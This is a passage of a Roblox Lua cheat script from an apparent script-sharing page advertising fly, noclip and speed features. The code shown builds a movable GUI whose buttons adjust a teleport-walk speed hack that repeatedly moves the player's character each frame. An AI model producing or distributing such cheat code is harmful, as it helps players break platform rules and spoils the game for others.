					local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
	
					while tpwalking and hb:Wait() and chr and hum and hum.Parent do
	
						if hum.MoveDirection.Magnitude > 0 then
	
							chr:TranslateBy(hum.MoveDirection)
	
						end
	
					end
	
	
	
				end)
	
			end
	
		end
	
	end)
	
	mine.MouseButton1Down:connect(function()
	
		if speeds == 1 then
	
			speed.Text = 'cannot be less than 1'
	
			wait(1)
	
			speed.Text = speeds
	
		else
	
			speeds = speeds - 1
	
			speed.Text = speeds
	
			if nowe == true then
	
				tpwalking = false
	
				for i = 1, speeds do
	
					spawn(function()
	
	
	
						local hb = game:GetService("RunService").Heartbeat	
	
	
	
	
	
						tpwalking = true
	
						local chr = game.Players.LocalPlayer.Character
	
						local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
	
						while tpwalking and hb:Wait() and chr and hum and hum.Parent do
	
							if hum.MoveDirection.Magnitude > 0 then
	
								chr:TranslateBy(hum.MoveDirection)
	
							end
	
						end
	
	
	
					end)
	
				end
	
			end
	
		end
	
	end)
	
	
	
	closebutton.MouseButton1Click:Connect(function()
	
		main:Destroy()
	
	end)
	
	
	
	mini.MouseButton1Click:Connect(function()
	
		up.Visible = false
	
		down.Visible = false
	
		onof.Visible = false
	
		plus.Visible = false
	
		speed.Visible = false
	
		mine.Visible = false
	
		mini.Visible = false
	
		mini2.Visible = true
	
		main.Frame.BackgroundTransparency = 1
	
		closebutton.Position =  UDim2.new(0, 0, -1, 57)
	
	end)
	
	
	
	mini2.MouseButton1Click:Connect(function()
	
		up.Visible = true
	
		down.Visible = true
	
		onof.Visible = true
	
		plus.Visible = true
	
		speed.Visible = true
	
		mine.Visible = true
	
		mini.Visible = true
	
		mini2.Visible = false
	
		main.Frame.BackgroundTransparency = 0 
	
		closebutton.Position =  UDim2.new(0, 0, -1, 27)
	
	end)	
	end)
	
	
end;
task.spawn(C_d);
local function C_e()
	local script = LMG2L["LocalScript_e"];
	local frame = script.Parent	
	
	local UserInputService = game:GetService("UserInputService")	
	
	local dragging = false	
	local dragInput	
	local dragStart	
	local startPos	
	
	local function update(input)	
		local delta = input.Position - dragStart	
		frame.Position = UDim2.new(	
			startPos.X.Scale,	
			startPos.X.Offset + delta.X,	
			startPos.Y.Scale,	
			startPos.Y.Offset + delta.Y	
		)	
	end	
	
	frame.InputBegan:Connect(function(input)	
		if input.UserInputType == Enum.UserInputType.MouseButton1 then	
			dragging = true	
			dragStart = input.Position	
			startPos = frame.Position	
	
			input.Changed:Connect(function()	
				if input.UserInputState == Enum.UserInputState.End then	
					dragging = false	
				end	
			end)	
		end	
	end)	
	
	frame.InputChanged:Connect(function(input)	
		if input.UserInputType == Enum.UserInputType.MouseMovement then	
			dragInput = input	
		end	
	end)	
	
	UserInputService.InputChanged:Connect(function(input)	
		if input == dragInput and dragging then	
			update(input)	
		end	
	end)	
	
end;
task.spawn(C_e);

return LMG2L["ScreenGui_1"], require;

Features & Information

FLY LALOL HUB NOCLIP ECT

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts